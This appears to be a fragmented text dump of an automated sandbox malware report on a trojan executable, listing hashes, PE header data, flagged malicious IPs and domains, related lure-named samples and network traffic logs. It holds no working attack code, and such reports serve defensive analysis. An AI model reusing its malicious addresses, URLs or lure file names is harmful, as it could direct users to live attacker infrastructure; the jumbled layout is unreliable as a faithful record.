0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.galapagosdesign.com/DPlease explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers8 explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.%s.comPA explorer.exe, 00000005.0000000
0.684955436.0000000002B50000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

low

www.fonts.com explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.sandoll.co.kr explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.urwpp.deDPlease explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.zhongyicts.com.cn explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.sakkal.com explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

104.252.192.7 unknown United States 18779 EGIHOSTINGUS true

81.17.18.197 unknown Switzerland 51852 PLI-ASCH true

Contacted IPs

Public
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Joe Sandbox Version: 31.0.0 Red Diamond

Analysis ID: 321100

Start date: 20.11.2020

Start time: 11:10:10

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 12m 34s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: oqTdpbN5rF.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Number of analysed new started processes analysed: 25

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@22/0@4/2

EGA Information: Failed

HDC Information: Successful, ratio: 38.6% (good quality ratio 35.8%)
Quality average: 72.1%
Quality standard deviation: 30.6%

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.exe

Warnings:
Behavior information exceeds normal sizes, 
reducing to normal. Report will have missing 
behavior information.
Exclude process from analysis (whitelisted): 
BackgroundTransferHost.exe, 
backgroundTaskHost.exe, svchost.exe, 
wuapihost.exe
Excluded IPs from analysis (whitelisted): 
13.88.21.125, 104.42.151.234, 51.104.139.180, 
52.155.217.156, 20.54.26.129, 95.101.22.134, 
95.101.22.125, 51.104.144.132
Excluded domains from analysis (whitelisted): 
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net, 
arc.msn.com.nsatc.net, db3p-ris-pf-prod-
atm.trafficmanager.net, 
displaycatalog.md.mp.microsoft.com.akadns.net, 
ris-prod.trafficmanager.net, 
a1449.dscg2.akamai.net, arc.msn.com, 
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, ris.api.iris.microsoft.com, 
umwatsonrouting.trafficmanager.net, 
displaycatalog.mp.microsoft.com, 
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, 
skypedataprdcolwus15.cloudapp.net, 
skypedataprdcolwus16.cloudapp.net
Report creation exceeded maximum time and may 
have missing disassembly code information.
Report size getting too big, too many 
NtAllocateVirtualMemory calls found.
Report size getting too big, too many 
NtOpenKeyEx calls found.
Report size getting too big, too many 
NtQueryValueKey calls found.

Show All

Simulations
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No simulations

Match Associated Sample Name / URL SHA 256 Detection Link Context

81.17.18.197 DEBIT NOTE DB-1130.exe Get hash malicious Browse  www.finer
finishdeta
iling.com/ihm3/?
sBZ4
lrK=MVHj8N
pKUi/kGq2W
qPWtWe1kfE
epi50iLMi1
7zPtoBo45+
X1i5KOEOTi
X88XpshQg/
Q0Y5LK0A==
&FPcT7b=dj
CDfFRXOP7H

myyaccountnow.com Get hash malicious Browse  myyaccoun
tnow.com/?
js=eyJhbGc
iOiJIUzI1N
iIsInR5cCI
6IkpXVCJ9.
eyJhdWQiOi
JKb2tlbiIs
ImV4cCI6MT
YwNTcwMTU5
NiwiaWF0Ij
oxNjA1Njk0
Mzk2LCJpc3
MiOiJKb2tl
biIsImpzIj
oxLCJqdGki
OiIycDQ5NT
J0dGQxMDMw
ZnR0cDAxZW
xubTUiLCJu
YmYiOjE2MD
U2OTQzOTYs
InRzIjoxNj
A1Njk0Mzk2
MDMzMTIwfQ
.qFDQ8y0cs
GQT92fLLCP
mRXUt_UrqrT-
zHf2KaXfP-
u0&sid=a
c6e8996-2986-
11eb-b228-
d22dece2e20a

SHIPMENT DOCUMENT.xlsx Get hash malicious Browse  www.0rder
greatcours
es.com/tlu/?
ebc8=E2J
djN_822M&K
pjp=2k86lJ
NvHQKwDeUO
qSMVod6dwH
gOLn8Zxtyr
2GR3VPN3S1
v7/B94SfkT
MW/EDa2JnI
oDVA==

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/238045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238045/html/none?idtype=webid
https://view.joesandbox.com/analysis/237904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237904/html/none?idtype=webid
https://view.joesandbox.com/analysis/237414/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237414/html/none?idtype=webid


PI210941.exe Get hash malicious Browse  www.1stsi
bs.com/t4vo/?
o2J=2GW
kw3XktBIuK
u1KSFtried
+VROsZF7cA
lDwF3yw8T8
b5m0lJCV39
rV8wy2v/Jx
Kv+u9&4h0=
vZR8DbS8Z4
yXah

gmai.com Get hash malicious Browse  gmai.com/

Swift Copy.exe Get hash malicious Browse  www.teams
ters401kup
splan.com/ga4/?
blX=S
upXlenLwWm
doQGrcAYy8
QMjY8YhXYY
zdDfn+Ovt1
j/vZDXBwe0
Vc3HtRwzBS
UkTZugoXQu
iYw==&tVj0
=J690i

lPpaIe5ny0.exe Get hash malicious Browse  www.hight
ecforpc.co
m/v836/?v6
=div+0ukWF
CTNvGLTuS9
QXcK7YbmE0
yyIg2T6Eyl
bLrc/Ysim+
pVKWqAK3V8
xKUggHjuE&-
Zi=W6AxyvX0n

Q12039329293.exe Get hash malicious Browse  www.piney
orchardice
rink.com/svh9/?
nh30vr=rNHa2I9/
5H67WX/xiY
j9qooN2dBm
PpKuykDiHm
8kpGZbylaf
yF7661QLBR
m2hawjFNjY
oZ1KNQ==&E
ZA0Iv=argh
eJUhR6

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

Match Associated Sample Name / URL SHA 256 Detection Link Context

EGIHOSTINGUS Purchase Order 40,7045$.exe Get hash malicious Browse 104.253.79.71

Payment Advice - Advice Ref GLV823990339.exe Get hash malicious Browse 104.164.52.200

INQUIRY.exe Get hash malicious Browse 45.39.88.85

Invoice.exe Get hash malicious Browse 45.39.153.189

new file.exe.exe Get hash malicious Browse 136.0.180.203

hjKM0s7CWW.exe Get hash malicious Browse 172.121.57.222

9Ul8m9FQ47.exe Get hash malicious Browse 107.164.194.74

n4uladudJS.exe Get hash malicious Browse 107.164.194.74

qkN4OZWFG6.exe Get hash malicious Browse 50.117.84.157

kvdYhqN3Nh.exe Get hash malicious Browse 50.117.84.157

NzI1oP5E74.exe Get hash malicious Browse 172.121.57.222

jtFF5EQoEE.exe Get hash malicious Browse 142.252.13
5.158

JwekqCZAwt.exe Get hash malicious Browse 172.252.49.106

zYUJ3b5gQF.exe Get hash malicious Browse 172.121.57.222

barddistocor.com/mozglue.dll Get hash malicious Browse 172.252.16
0.199

ORDER LIST.exe Get hash malicious Browse 172.252.49.106

ALPHA_PO_16201844580.exe Get hash malicious Browse 45.39.142.138

Domains

ASN
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https://view.joesandbox.com/analysis/228836/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228836/html/none?idtype=webid
https://view.joesandbox.com/analysis/228378/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228378/html/none?idtype=webid
https://view.joesandbox.com/analysis/227960/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/227960/html/none?idtype=webid
https://view.joesandbox.com/analysis/223639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/223639/html/none?idtype=webid
https://view.joesandbox.com/analysis/217292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/217292/html/none?idtype=webid
https://view.joesandbox.com/analysis/239435/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239435/html/none?idtype=webid
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid
https://view.joesandbox.com/analysis/238716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238716/html/none?idtype=webid
https://view.joesandbox.com/analysis/237956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237956/html/none?idtype=webid
https://view.joesandbox.com/analysis/235877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235877/html/none?idtype=webid
https://view.joesandbox.com/analysis/235529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235529/html/none?idtype=webid
https://view.joesandbox.com/analysis/235281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235281/html/none?idtype=webid
https://view.joesandbox.com/analysis/234912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234912/html/none?idtype=webid
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid
https://view.joesandbox.com/analysis/234440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234440/html/none?idtype=webid
https://view.joesandbox.com/analysis/233990/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233990/html/none?idtype=webid
https://view.joesandbox.com/analysis/233869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233869/html/none?idtype=webid
https://view.joesandbox.com/analysis/232572/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232572/html/none?idtype=webid
https://view.joesandbox.com/analysis/232495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232495/html/none?idtype=webid
https://view.joesandbox.com/analysis/231589/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231589/html/none?idtype=webid
https://view.joesandbox.com/analysis/231286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231286/html/none?idtype=webid
https://view.joesandbox.com/analysis/231269/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231269/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 7.855744157979213

TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.80%
Win32 Executable (generic) a (10002005/4) 
49.75%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Windows Screen Saver (13104/52) 0.07%
Generic Win/DOS Executable (2004/3) 0.01%

File name: oqTdpbN5rF.exe

File size: 599552

MD5: 429bba6dbe159c300679509be3085665

SHA1: f79f58bc3142b59d0d8669595a01770bdf5486ff

SHA256: 04274b027d3bd09ec0d7b58ff5af64aa06e626668995cb5
ef6d7fad939bc6c33

SHA512: 450a46356fb78d3e37e64f0edc8a4197e2e22e8c29e3649
9d1f08fd00f6b38999e4534ac5165cdfa59d68a179ede64
362ef5cf27dccd2719ddb0fda9a599345d

Purchase Order 40,7045$.exe Get hash malicious Browse 107.164.194.74

sXNQG9jqhR.exe Get hash malicious Browse 172.121.57.222

n0PRhPYWSJ.exe Get hash malicious Browse 172.120.14
1.106

PLI-ASCH ant.exe Get hash malicious Browse 81.17.18.198

DEBIT NOTE DB-1130.exe Get hash malicious Browse 81.17.18.197

myyaccountnow.com Get hash malicious Browse 81.17.18.197

SHIPMENT DOCUMENT.xlsx Get hash malicious Browse 81.17.18.197

879mgDuqEE.jar Get hash malicious Browse 179.43.145.229

remittance1111.jar Get hash malicious Browse 179.43.145.229

879mgDuqEE.jar Get hash malicious Browse 179.43.145.229

remittance1111.jar Get hash malicious Browse 179.43.145.229

https://my-alliances.co.uk/ Get hash malicious Browse 179.43.145.229

Payment Receipt.exe Get hash malicious Browse 81.17.18.195

goodyear-ex.space/Action/book.php?iiyama1233@wp.pl Get hash malicious Browse 179.43.147.211

XCnhrl4qRO.exe Get hash malicious Browse 81.17.18.195

qkN4OZWFG6.exe Get hash malicious Browse 81.17.18.194

https://www.desimealz.com/wp-
content/plugins/xnbwwmx/Payment_Report_EFT_FX_FT%20
2020-13-11.jar

Get hash malicious Browse 179.43.145.229

https://justtradeservices.co.uk/ Get hash malicious Browse 179.43.145.229

https://ncsautoparts.co.uk/ Get hash malicious Browse 179.43.145.229

RemittanceAdvice7341-10-11.jar Get hash malicious Browse 179.43.145.229

RemittanceAdvice7341-10-11.jar Get hash malicious Browse 179.43.145.229

0VikCnzrVT.exe Get hash malicious Browse 81.17.18.196

walmartmoneyca4d.com Get hash malicious Browse 81.17.18.195

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

No created / dropped files found

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/230933/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230933/html/none?idtype=webid
https://view.joesandbox.com/analysis/230474/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230474/html/none?idtype=webid
https://view.joesandbox.com/analysis/229999/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229999/html/none?idtype=webid
https://view.joesandbox.com/analysis/238076/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238076/html/none?idtype=webid
https://view.joesandbox.com/analysis/238045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238045/html/none?idtype=webid
https://view.joesandbox.com/analysis/237904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237904/html/none?idtype=webid
https://view.joesandbox.com/analysis/237414/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237414/html/none?idtype=webid
https://view.joesandbox.com/analysis/237385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237385/html/none?idtype=webid
https://view.joesandbox.com/analysis/237384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237384/html/none?idtype=webid
https://view.joesandbox.com/analysis/237380/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237380/html/none?idtype=webid
https://view.joesandbox.com/analysis/237378/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237378/html/none?idtype=webid
https://view.joesandbox.com/analysis/237364/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237364/html/none?idtype=webid
https://view.joesandbox.com/analysis/236549/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236549/html/none?idtype=webid
https://view.joesandbox.com/analysis/236472/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236472/html/none?idtype=webid
https://view.joesandbox.com/analysis/235245/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235245/html/none?idtype=webid
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid
https://view.joesandbox.com/analysis/234528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234528/html/none?idtype=webid
https://view.joesandbox.com/analysis/232918/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232918/html/none?idtype=webid
https://view.joesandbox.com/analysis/232915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232915/html/none?idtype=webid
https://view.joesandbox.com/analysis/232510/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232510/html/none?idtype=webid
https://view.joesandbox.com/analysis/232502/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232502/html/none?idtype=webid
https://view.joesandbox.com/analysis/230183/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230183/html/none?idtype=webid
https://view.joesandbox.com/analysis/229782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229782/html/none?idtype=webid


SSDEEP: 12288:K29Z0ZfOKYJqFwpzpYTnMS3hrrnplI5GJriD:f9W
tZY7wTnT9npu5G0

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L.....
._.............................=... ...@....@.. ..............................U.
....@................................

General

File Icon

Icon Hash: 00828e8e8686b000

General
Entrypoint: 0x493dde

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x5FB6E703 [Thu Nov 19 21:43:31 2020 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Instruction

jmp dword ptr [00402000h]

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Static PE Info

Entrypoint Preview
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add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Instruction
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Network Port Distribution

Total Packets: 36

• 53 (DNS)

• 80 (HTTP)

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Instruction

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0x93d8c 0x4f .text

IMAGE_DIRECTORY_ENTRY_RESOURCE 0x94000 0x242 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x96000 0xc .reloc

IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x2000 0x8 .text

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x2008 0x48 .text

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x91de4 0x91e00 False 0.912569622965 data 7.86101767821 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0x94000 0x242 0x400 False 0.30859375 data 3.56952524932 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x96000 0xc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Name RVA Size Type Language Country

RT_MANIFEST 0x94058 0x1ea XML 1.0 document, UTF-8 Unicode (with BOM) text, with 
CRLF line terminators

DLL Import

mscoree.dll _CorExeMain

Network Behavior

Data Directories

Sections

Resources

Imports
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 20, 2020 11:12:13.035051107 CET 49758 80 192.168.2.4 81.17.18.197

Nov 20, 2020 11:12:13.061516047 CET 80 49758 81.17.18.197 192.168.2.4

Nov 20, 2020 11:12:13.061675072 CET 49758 80 192.168.2.4 81.17.18.197

Nov 20, 2020 11:12:13.061836004 CET 49758 80 192.168.2.4 81.17.18.197

Nov 20, 2020 11:12:13.088021994 CET 80 49758 81.17.18.197 192.168.2.4

Nov 20, 2020 11:12:13.120085955 CET 80 49758 81.17.18.197 192.168.2.4

Nov 20, 2020 11:12:13.120121956 CET 80 49758 81.17.18.197 192.168.2.4

Nov 20, 2020 11:12:13.120431900 CET 49758 80 192.168.2.4 81.17.18.197

Nov 20, 2020 11:12:13.120461941 CET 49758 80 192.168.2.4 81.17.18.197

Nov 20, 2020 11:12:13.146563053 CET 80 49758 81.17.18.197 192.168.2.4

Nov 20, 2020 11:12:57.146343946 CET 49766 80 192.168.2.4 104.252.192.7

Nov 20, 2020 11:12:57.317065954 CET 80 49766 104.252.192.7 192.168.2.4

Nov 20, 2020 11:12:57.317244053 CET 49766 80 192.168.2.4 104.252.192.7

Nov 20, 2020 11:12:57.317375898 CET 49766 80 192.168.2.4 104.252.192.7

Nov 20, 2020 11:12:57.488492966 CET 80 49766 104.252.192.7 192.168.2.4

Nov 20, 2020 11:12:57.488529921 CET 80 49766 104.252.192.7 192.168.2.4

Nov 20, 2020 11:12:57.488543034 CET 80 49766 104.252.192.7 192.168.2.4

Nov 20, 2020 11:12:57.488558054 CET 80 49766 104.252.192.7 192.168.2.4

Nov 20, 2020 11:12:57.488751888 CET 49766 80 192.168.2.4 104.252.192.7

Nov 20, 2020 11:12:57.488857985 CET 49766 80 192.168.2.4 104.252.192.7

Nov 20, 2020 11:12:57.489025116 CET 49766 80 192.168.2.4 104.252.192.7

Timestamp Source Port Dest Port Source IP Dest IP

Nov 20, 2020 11:11:02.874548912 CET 63153 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:02.901585102 CET 53 63153 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:03.917025089 CET 52991 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:03.944178104 CET 53 52991 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:05.254551888 CET 53700 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:05.281613111 CET 53 53700 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:06.531409025 CET 51726 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:06.558532000 CET 53 51726 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:11.491944075 CET 56794 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:11.519081116 CET 53 56794 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:13.601632118 CET 56534 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:13.628953934 CET 53 56534 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:15.249633074 CET 56627 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:15.276717901 CET 53 56627 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:16.503285885 CET 56621 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:16.530327082 CET 53 56621 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:17.529947042 CET 63116 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:17.556973934 CET 53 63116 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:18.681519985 CET 64078 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:18.708527088 CET 53 64078 8.8.8.8 192.168.2.4

TCP Packets

UDP Packets
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Nov 20, 2020 11:11:20.337420940 CET 64801 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:20.373079062 CET 53 64801 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:21.437449932 CET 61721 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:21.464520931 CET 53 61721 8.8.8.8 192.168.2.4

Nov 20, 2020 11:11:30.551440954 CET 51255 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:11:30.578449965 CET 53 51255 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:05.740276098 CET 61522 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:05.775907040 CET 53 61522 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:06.335675001 CET 52337 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:06.383948088 CET 53 52337 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:06.910711050 CET 55046 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:06.956854105 CET 53 55046 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:07.542749882 CET 49612 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:07.578392982 CET 53 49612 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:07.950274944 CET 49285 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:07.986099005 CET 53 49285 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:08.422889948 CET 50601 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:08.460753918 CET 53 50601 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:09.042098999 CET 60875 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:09.077689886 CET 53 60875 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:09.566565037 CET 56448 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:09.604353905 CET 53 56448 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:09.699805975 CET 59172 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:09.735508919 CET 53 59172 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:10.471761942 CET 62420 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:10.507539988 CET 53 62420 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:10.987385035 CET 60579 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:11.023551941 CET 53 60579 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:12.965703964 CET 50183 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:13.026293039 CET 53 50183 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:16.684915066 CET 61531 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:16.720376015 CET 53 61531 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:35.615037918 CET 49228 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:35.890340090 CET 53 49228 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:44.156269073 CET 59794 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:44.183497906 CET 53 59794 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:45.692653894 CET 55916 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:45.719829082 CET 53 55916 8.8.8.8 192.168.2.4

Nov 20, 2020 11:12:56.803217888 CET 52752 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:12:57.144937992 CET 53 52752 8.8.8.8 192.168.2.4

Nov 20, 2020 11:13:17.643173933 CET 60542 53 192.168.2.4 8.8.8.8

Nov 20, 2020 11:13:17.689646959 CET 53 60542 8.8.8.8 192.168.2.4

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 20, 2020 11:12:12.965703964 CET 192.168.2.4 8.8.8.8 0x36f8 Standard query 
(0)

www.bikini
nbodymommy
.com

A (IP address) IN (0x0001)

